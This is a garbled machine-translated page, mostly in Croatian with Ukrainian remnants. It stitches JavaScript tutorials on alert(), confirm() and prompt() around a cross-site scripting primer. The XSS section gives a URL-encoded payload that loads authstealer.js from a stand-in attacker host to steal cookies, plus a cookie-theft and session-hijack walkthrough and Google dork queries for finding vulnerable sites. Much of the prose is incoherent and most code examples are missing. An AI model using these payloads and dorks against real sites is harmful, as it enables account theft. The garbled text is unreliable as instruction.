U nekom trenutku ćemo se upoznati s metodama objekta prozora: alert(), prompt() i confirm().
alert() metoda
Alert() metoda zadataka za prikaz na ekranu sljedećeg dijaloškog prozora od dodijeljenih obavijesti s tipkom "OK". Može biti pobjednički kako bi se prenijele važne informacije coristuvachu.
window.alert(Parametar_1);
Metoda alert() može imati jedan parametar specifičan za jezik - tekst upozorenja, kako se pojavljuje u dijaloškom okviru. Danska metoda ne mijenja ništa nakon svoje vikonnannya.
Na primjer, prikazano je da pregledava mjesto kada se pritisne na silu ispred prozora za dijalog: Idite na web stranicu
potvrdi () metoda
Metoda confirm() objekta prozora koristi se za prikaz dijaloškog okvira na ekranu iz dodijeljenih upita i gumba "U redu" i "Provjeri". Možete pobijediti za potvrdu, tako da možete pitati coristuvacha da vam dopusti da osvojite chi íêí̈ chi ínshí díí̈.var resultConfirm = potvrdi (Parametar_1);
Ova metoda ima jedan parametar - tekst podsjetnika, kako će biti prikazan u dijaloškom prozoru.
Metoda confirm() kao rezultat (resultConfirm) svoje viconn pretvara jednu od dvije vrijednosti:
- istina za koristuvach pritiskom na "OK";
- false , kao da je koristuvach pritisnuo "Skasuwati" ili zatvorio yogo.
Na primjer, u elementu id="resultConfirm" rezultat klika na gumb "OK" u dijaloškom prozoru:
prompt() metoda
Prompt() metoda dodjele za prikaz dijaloškog prozora s upitima, tekstualno polje za unos podataka i korištenje tipki "OK" i "Speak". Vono se prepoznaje kako bi zatražio podatke korisnika.
var resultPrompt = prompt(Parametar_1, Parametar_2);
Ova metoda ima dva parametra:
- podsjetnik, kao što će biti prikazano u dijaloškom prozoru. Tsey parametar ê obov'yazykovym i stit povídomlennya, u onome što "biti izgovoren", yakí daní je kriv za unos koristuvach tekstualno polje;
- drugi parametar je nekolokvijalan i može se koristiti za umetanje vrijednosti cob, kao što će biti prikazano u dijaloškom okviru za unos.
Pomoću metode prompt() možete promijeniti sljedeće podatke:
- tekstualne vrijednosti - tako da se u polje za unos unose podaci i koriste se pritiskom na "OK";
- prazan red - čim u polju za unos ne promaknu podaci i koristuvach pritiskom na "OK";
- null - baš kao da upišete "Skasuvati" ili zatvorite prozor, nije važno jesu li podaci uneseni u tekstualno polje.
Napomena: dijaloški okvir, koji je rezultat jedne od metoda alert() , confirm() ili prompt() modal, tj. Blokira pristup koristuvach dodatku Batkiv (pregledniku) točke, dokovi za koristuvach ne zatvaraju prozor dijaloga.
Na primjer, upitan je iz naziva koristuvacha i prikazan je kao rezultat tekstualnog elementa c id="nameUser" :
Na primjer, zamolite koristuvača da pogodi broj 8:
... Pogodi broj
Cross-Site Scripting (XSS) je sukob, kao što se vidi u kodu, koji se vidi na strani klijenta (JavaScript) na web strani, kao što ga gledaju drugi.
Za svađu se okrivljuje nedostatak filtriranja podataka, kao što je corystuvach nadmoćan za umetanje na web stranicu. Lakše je razumjeti na konkretnom primjeru. Pogodite je li knjiga gostiju program, koji se prepoznaje po prihvaćanju podataka iz svojevrsnog koristuvača tog vanjskog odraza. Jasno je da knjiga gostiju ni na koji način ne revidira niti filtrira podatke koji se unose, već ih jednostavno odražava.
Možete dodati svoju najjednostavniju skriptu (nema ništa jednostavnije, možete pisati loše skripte u PHP-u - prebogata je da bi netko to mogao napraviti). Ali već postoji dovoljno gotovih opcija. Na primjer, govorim o upoznavanju Dojoa i OWASP Mutillidae II. Postoji sličan primjer. U samostalnom Dojo okruženju idite na preglednik za upite: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Što kažete na neke od koristuvachív vvív:
Zatim će se na web stranici prikazati:
Vitannia! Vaša web stranica je obavezna.
Na primjer, unesite kod ovako:
Vitannia! Vaša web stranica je obavezna.
To bi trebalo izgledati ovako:
Preglednici spremaju anonimne kolačiće s velikog broja stranica. Koža stranice može ukloniti kolačiće koje je samo on spremio. Na primjer, stranica example.com spremila je neke kolačiće iz vašeg preglednika. Ako odete na web-mjesto another.com, to mjesto (klijentske i poslužiteljske skripte) ne mogu pristupiti kolačićima, pa se example.com sprema.
Ako se example.com raščlani prije XSS-a, to znači da možemo na drugi način proći u novi JavaScript kod, a taj će kod biti umotan u naziv stranice example.com! Tobto. Ovaj kod uklanja, na primjer, pristup kolačićima na stranici example.com.
Mislim da se svi sjećaju da se JavaScript koristi u preglednicima domorodaca, tj. za prisutnost XSS-a, implementacija shkidlivy koda odbija pristup podacima koristuvach-a, što otvara stranu web stranice.
Implementacijski kod uključuje sve one koji koriste JavaScript, ali sam:
- uskraćuje pristup kolačićima stranici koju gledate
- možete promijeniti staru stranu izgleda
- uskraćuje pristup međuspremniku
- možete koristiti programe u JavaScriptu, na primjer, kí-loggere
- pretplatite se na BeEF
- to u.
Najjednostavniji primjer kolačića:
Stvarno, uzbuna vikoristovuetsya manje za XSS. Stvarno shkídlive korisne navantazhennya zdíysnyuê prihovaní díí̈. Vaughn prihovanno sv'yazuetsya z víddalenim poslužitelj uljeza i prenosi na nove ukradene podatke.
Vidi XSS
Što je još važnije, morate razumjeti XSS za one koji smrde:
- Spremi (objavi)
- Vidobrazhení (nestalno)
Primjer prvog:
- Uvedena od strane napadača, posebno formirana poruka u knjigu gostiju (komentar, forum, profil), kako doći na poslužitelj, zavantazhuetsya s poslužitelja što je prije moguće, ako coristuvachi pita za mišljenje strane.
- Napadač je oduzeo pristup poslužitelju podataka, na primjer, putem SQL injekcije, i dobio preko podataka, koji se čini da su koristuvačevi, s obzirom na zlonamjerni JavaScript kod (s kilogerima ili BeEF).
Primjer drskosti:
- Na stranici postoje pretrage koje se istovremeno s rezultatima pretraživanja prikazuju na kshtaltu “Tražili ste: [red pretraživanja]”, s tim podacima nisu filtrirani po odgovarajućem rangu. Ako se takva strana koristi samo za one koji je mogu prisiliti na nju, onda dok napadač ne pošalje silu na drugu stranicu coristuvacha, napad ne funkcionira. Kao zamjena za snagu poslanu žrtvi, možete osvojiti postavljanje zlonamjerne skripte na neutralnu stranicu, koju žrtva vidi.
Drugi vide (poput raznih nestalnih XSS nedosljednosti, čini se da ova vrsta može biti drugačija vrsta trajnog XSS-a):
- DOM modeli
Značajke XSS baza na DOM-u
Pojednostavljeno rečeno, zlonamjerni kod "veličanstvenog" nesposobnog XSS-a može se tretirati kao da je HTML kod. Na primjer, posilannya se formira u takvom rangu:
http://example.com/search.php?q="/>
A kada otvorite izlazni HTML kod, možda ćete vidjeti nešto poput ovoga:
A DOM XSS mijenja DOM strukturu, budući da se formira u pregledniku u hodu i inficira zlonamjerni kod, možemo samo pogledati strukturu u kojoj je DOM formiran. HTML se ne mijenja u vašem. Uzmimo za primjer ovaj kod:
Zatim ćemo u pregledniku raditi:
Šifra izlazne strane:
Formiramo adresu ovako:
http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Sada strana izgleda ovako:
Pogledajmo izlazni HTML kod:
Tu se ništa nije promijenilo. Rekavši to, moramo se začuditi DOM strukturi dokumenta kako bismo otkrili zlonamjerni kod:
Ovdje je uveden radni prototip XSS-a, za pravi napad potreban nam je sofisticiraniji pristup, jer je nemoguće kroz one koje program koristi čitati točno kroz točke nakon kome, i točno na rubu upozorenje (1); upozorenje (2) već nemoguće. Tim nije mensch, zavdyaki pobjeći() među Dancima, koji se okreću, možemo vikoristovuvat corisne želju za kshtaltom poput ovoga:
http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
De mi je zamijenio simbol ; na kodiranja u URI ekvivalentu!
Sada možemo napisati otmjenu skriptu za JavaScript i sastaviti je kako bismo uredili žrtvu, kao da pokušavamo napraviti standardno nestandardno skriptiranje na više mjesta.
XSS revizor
Google Chrome (i također u Operi, koja je sada pobjednički motor Google Chromea), doživio je takvo iznenađenje:
dom_xss.html:30 XSS revizor odbio je izvršiti skriptu u "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" jer je dio koda bio tvrdo ožičen. Web poslužitelj je zaštićen kao poslužitelj koji se nalazi u zaglavlju "X-XSS-Protection" ili "Content-Security-Policy".
Tobto. Sada preglednik ima XSS revizor, koji pomaže poboljšati XSS. Firefox još nema tu vrstu funkcionalnosti, ali pretpostavljam da je s desne strane. Ako će implementacija u preglednicima biti daleko, onda možemo govoriti o vrijednosti ometanja XSS-a.
Vrijedno je zapamtiti da današnji preglednici rade na rubovima problema iskorištavanja kao što su netrajni XSS i XSS koji se temelji na DOM-u. Osim toga, potrebno je imati na umu prilikom testiranja web-mjesta za dodatni preglednik - u cjelini može se činiti da je web-dodatak u sukobu, ali ne morate potvrditi da se radi o rascjepu, samo iz onih razloga zbog kojih blokira preglednik.
Primijenite eksploataciju XSS-a
Zlonamjerni ljudi, kao što mogu misliti o pobjedi upuštanja u skriptiranje na više web-mjesta, krivi su što na drugačiji način odlaze u klasu upuštanja u kožu. Ovdje su opisi vektora napada klase kože.
Kada je XSS nedosljedan u napadima, moguće je iskoristiti BeEF, koji proširuje napad s web stranice na lokalno rafiniranu jezgru.
Netrajni XSS napadni kundak
1. Alice često vidi stranicu koju Bob hostira. Bobova web stranica omogućuje Alicii da se prijavi s imenom računa/lozinkom i pohrani osjetljive podatke, kao što su podaci o plaćanju. Ako se ispravno prijavite, preglednik sprema autorizacijske kolačiće, tako da možete koristiti glupe simbole, dakle. računalne uvrede (klijenta i poslužitelja) zapamtite da je nestalo.
2. Melori označava da Bobova web stranica treba osvetiti neprikladnu nedosljednost XSS-a:
2.1 Kada vidite stranu za pretraživanje, unesete red za pretraživanje i pritisnete ispravan gumb, budući da rezultati nisu pronađeni, strana prikazuje redak unosa pretraživanja, nakon čega slijede riječi "nije pronađeno" i url može izgled http://bobssite.org?q=í̈í Zahtjev za lažiranje
2.2 Uz normalan zahtjev za šalu za kshtalt riječi " psi» strana se samo pokazuje« psi nije pronađen" url http://bobssite.org?q= psi, što je sasvim normalno ponašanje.
2.3 Zaštitite se, ako postoji anomalan signal za traženje na kshtaltu :
2.3.1 To je unaprijed upozorenje (poput "xss").
2.3.2 Strana zaslona nije pronađeno redoslijed opomena o pomilovanju s tekstom "xss".
2.3.3 url priložen eksploataciji http://bobssite.org?q=
3. Melory konstruira URL kako bi iskoristio spor:
3.1 Osvojeni opljačkani URL http://bobssite.org?q=štenci . Možete odabrati pretvaranje ASCII znakova u heksadecimalni format, kao što je ovaj http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E kako bi se spriječilo da ljudi mogu dešifrirati pogrešan URL.
3.2 Vaughn nadjača e-mailove trenutnim članovima Bobove stranice, koji ne sumnjaju u ništa, očito: "Provjerite cool pse."
4. Alice uzima plahtu. Vaughn voli pse i traži pomoć. Odete na Bobovu web stranicu u pretrazi, ne znate ništa, piše “psi nisu pronađeni”, a u samoj sredini lansira tag sa skriptom (nevidljiv na ekranu), otima taj vicon program Melori authstealer. js (XSS napad XSS napad). Alice zaboravi na to.
5. Program authstealer.js je pokrenut u Aliceinom pregledniku, tako da nibi njen dzherelom je Bobovo web mjesto. Ona će pohraniti kopiju Aliceinog autorizacijskog kolačića i poslati je na Meloryin poslužitelj, de Melori ih vityaguê.
7. Sada, ako je Melora u sredini, otići će na odjeljak za plaćanje na web stranici i začuditi se kako krade kopiju Aliceine kreditne kartice. Idemo naprijed i promijenimo lozinku, dakle. sada se Alice više ne može prijaviti.
8. Nećete opljačkati napadačku stijenu i kontrolirat ćete je sa sličnim rangom poslanim samom Bobu, a u tom rangu oduzimate administrativne privilegije Bobove stranice.
Objavljen XSS napad
- Melori možda ima fizički dosije na Bobovoj web stranici.
- Melori poštuje činjenicu da Bobova web stranica osvetljava nedosljednost nakon XSS-a. Ako odete u novi odjeljak, objavite komentar, onda ćete se pretvarati da vas ne bi zlostavljali. Ako tekst komentara treba izostaviti HTML oznakama, te će oznake biti prikazane kao takve, i bez obzira da li se skriptne oznake pokreću ili ne.
- Melori pročitaj članak u Vijestima distribucije i napiši komentar u Komentari distribucije. U komentar ubacite tekst:
- U mojoj povijesti, psi su bili toliko vrijedni mene. Smrad je tako veličanstven!
- Ako Alice (ili inače) otme stranu s ovim komentarom, pokreće se oznaka Melori skripte i krade Aliceine autorizacijske kolačiće te se šalje Melorinom tajnom poslužitelju na prikupljanje.
- Melori sada može promijeniti sesiju Alice i vidjeti sebe kao Alice.
Pretražujte različite stranice prije XSS-a
Dork za XSS
Prije svega, postoji izbor stranica na kojima su mogući XSS napadi. Google može tražiti pomoć na web-mjestima. Os takvih gluposti, pa kopirajte i zalijepite u Google pretraživanje:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Vidjet ćemo popis stranica. Potrebno je ući na stranicu i poznavati nova polja za unos, kao što su obrazac povratne veze, obrazac za unos, pretraga stranice itd.
Poštujem da je praktično otkriti neozbiljnost popularnih web dodataka koji se automatski ažuriraju. Klasičan primjer takvog programa je WordPress. Zapravo, nedosljednost WordPressa, a posebno u dodacima za jogu, jest. Štoviše, postoje anonimne stranice koje ne ažuriraju niti jedan WordPress mehanizam (preko onih koje je webmaster unio u izlazni kod kako bi promijenio vlastiti kod), niti dodaci i teme (u pravilu, ovi piratski dodaci i teme). Ali ako čitate ovaj odjeljak i otkrivate nešto novo, to znači da WordPress još nije za vas... Okrenimo se ponovno novom jeziku.
Najbolji brojevi - svi različiti sami napisani motori i skripte.
Kako nacrtati dizajn za umetanje, možete odabrati
Pazite, u oznakama HTML koda koristi se vaš implementacijski kod. Polje za unos tipa stražnje osovine ( ulazni):
Naša korisna želja da ga provedemo tamo, de zarazno, riječ "jastučnica". Tobto. promijeniti u vrijednost oznake ulazni. Možemo se izvući s nekim - zatvorit ću nogu, a onda ću se označiti za pomoć "/>
"/>
Hajde da probamo za neku stranicu:
Bravo, svađa
Programi za šalu i skeniranje nedosljednosti XSS-a
Nepotrebno je reći da se svi web indekseri mogu upustiti u XSS indeks. O ovoj temi se ne može pregovarati, poznatija sa sličnim okremo skenerom kože.
Postoje i posebni alati za skeniranje XSS nedosljednosti. Taj se broj može posebno imenovati.
JavaScript ima tri osnovne operacije koje vam omogućuju uzimanje podataka kao ulaza za daljnju obradu u skriptama. Upozorite, zatražite i potvrdite. Zašto smrad zastosovuyutsya, kao što ih vikoristovuvat i druge nijanse koje će se gledati daleko od tsíy statti.
uzbuna
Zastosovuetsya za prikaz na zaslonu modalnog preglednika prozora (to znači da se ništa ne može pritisnuti sa strane dok se prozor ne zatvori. Na kraju, dokovi ne kliknu "U redu" na prozoru).
Nakon što vidite obavijest koja se šalje upozorenju, skripta će se ažurirati i ažurirati nakon što se modalni prozor zatvori.
U trenutku punjenja polja su u redu, skripta će vratiti informacije, yaku vv_v koristuvach.
Sintaksa naredbe nešto sklopivije, niže sprijeda, kapice omogućuje vam da tekst slova postavite na goli i polja koja se mogu unijeti za unos podataka jer će se prikazati za bravu: rezultat = prompt(naslov, zadano);, de
- titula- podsjetnik, kako će se pokazati koristuvačevu u modalnom prozoru. Argument ê obov'yazkovym za zapovnennya.
- zadano- one koje se pojavljuju u polju za unos teksta promocije. Također je obov'yazkovy za zapovnennya, krhotine poput yogo ne pitajte, tse mozhe donijeti na pomilovanje u nekim preglednicima. Ako želite ostaviti polje za unos praznim, samo postavite prompt na sljedeći korak:
var myTest = prompt("Budi to informacija", """);
Malo wiki upit za stražnjicu:
var godina = prompt( "Koji si roci završio VNZ?", 2008.); alert("Vi ste maturant" + godina + "rock!");
Nazovite, ovaj tim pobjeđuje za prikupljanje podataka od dopisnika, jer je potrebno da skripta nastavi daljnji rad.
potvrditi
To je također modalni prozor. Nije lako odgonetnuti imena vikorista, zvoniti radi chogos íz koristuvach.
U tu svrhu je izoštren - za interakciju pritisnite tipke OK i CANCEL, tako da se logičke vrijednosti true i false preokrenu u skriptu. Ocjene: 4 (prosječno 4 od 5)
U ovom članku imamo tri metode, a samu metode alert(), potvrdi() i prompt(). smrdi sve prepoznat za interakciju s coristuvache.
Sve tri metode leže na objektu prozora. Í smrad se može nazvati u takvom rangu: prozor. naziv_metode(); Ali JavaScript nam omogućuje da ne specificiramo objekt prozora, već jednostavno napišemo naziv metodi.
Pogledajmo metodu alert(). Danska metoda je prikazivanje podsjetnika na kraju preglednika preglednika. Prozor bi se trebao pojaviti na vrhu stranice i sve dok ne pritisnete gumb OK, neće se zatvoriti.
Za potrebe demonstracije, ovdje je podsjetnik za pomoćnu metodu alert().
Var today_is = "Ponedjeljak"; upozorenje("Danas" + danas_je);
U sredini metode možemo odrediti postoji li red samo bez html oznaka. Smrad ovdje ne raste, ali izgleda kao ê.
Ako je red, ako želite odabrati duži i ako želite prijeći na novi red, evo html oznake
ne pitaj. Ovdje je potrebno sricati znak \n.
Upozorenje("Looooooooong \nStringgggggg");
Ova metoda je često pobjednička tražiti oprost kod koda.
Proces obrade koda se spušta do dna, pa da uhvatite oprost, jednostavno upišite alert () metodu u područje prije pomilovanja, gdje se nalazi pomilovanje. Í akscho alert () spratsyuvav, znači do reda, de yogo je napisano, nema pardona.
Dali se treba pomaknuti za jedan red ili više niže. Odlučio sam promijeniti, obnovit ću stranicu u pregledniku, a mi se čudimo, kao da je upozoren () spratsyuvav, znači oprost za red, de vin know, ní, ínakshe, yakscho vin ne spratsyuvav, pardon sto sam u nizu vise iza onog, de vin da se odmah zna. U ovom rangu možete znati oprost u šifri.
potvrdi () metoda
Ova metoda je pobjednička za potvrdu potvrde napajanja. Postoje samo dvije opcije za promjenu, dakle (OK) ili (Otkaži/Skasuwati). Ako je to točno, tada metoda postaje istinita (true), u suprotnom postaje lažna (false).
Na primjer, na kraju metode confirm() pita se "Jeste li sigurni da želite otkazati zabavu?". Ako je to slučaj, onda ćemo kroz alert() metodu prikazati sljedeću poruku "Koristuvach želi napustiti stranu", u suprotnom ćemo prikazati poruku "Koristuvach NE želi napustiti stranu".
Var user_answer = confirm("Jeste li sigurni da želite otkazati svoju stranu?"); if(user_answer) alert("Koristuvach želi napustiti stranu"); else alert("Koristuvach NE ŽELI \nnapustiti stranu");
Ovako radi metoda confirm(). Vín može pobijediti u različitim vipadima. Na primjer, prije toga, kao što je vidljivo sa stranice, bilo je prihvaćeno da se hrani koristuvach, chi je kriv na sebe. Ali prije toga, kako ispraviti obrazac, također možete pitati coristuvacha "Jeste li sve ispravno ispunili?"
prompt() metoda
Prva metoda, koju god da odaberem, ista je metoda prompt(). Danska metoda pobjeđuje više, niže od dvije metode. Vín omogućuje otrimatsiyu ínformatsiyu víd koristuvacha, yaku vín uneseno u polje za tekst.
Kao rezultat toga, metoda prompt() rotira ili redak za unos, kao što je pritiskom na tipku OK, ili null, što znači da je gumb prompt pritisnut.
Kao parametar, tako da u sredini luka ove metode možemo napisati proizvoljan red ili napajanje, tako da znajući kako treba unijeti podatke.
Na primjer, tražimo od coristuvacha da pita "Kako se zoveš?" Unos kratkog naziva prikazuje se na ekranu iza pomoći metode upozorenja ().
Var name = prompt("Kako se zoveš?"); alert("Zovu vas" + ime);
Spremite tu stranu prozora u preglednik.
Skrozumílo, u tekstualno polje na metodu prompt () možete unijeti bilo koju informaciju. Ove će se informacije rotirati u nizu za unos brojeva ili drugih posebnih znakova.
Na primjer, zamolite koristuvača da unese dva broja, kako bismo ih kasnije mogli pomnožiti. Postojat će kalkulator za množenje.
Var x = prompt("Unesite prvi broj:"); var y = prompt("Unesite drugi broj:"); //Pretvaranje uvođenja brojeva iz serijskog tipa u tip broja x = Broj(x); y = broj (y); document.write(x + " * " + y + " = " + (x * y));
Brojevi se unose u retke, pa je za ispravan rezultat množenja potrebno proći kroz funkciju Broj () kao da ih pretvarate iz vrste retka u normalan broj.
Pa to je sve. Sada znate još tri metode: alert(), potvrdi() i prompt(). Yakih V može pobijediti na treningu.
Windows 7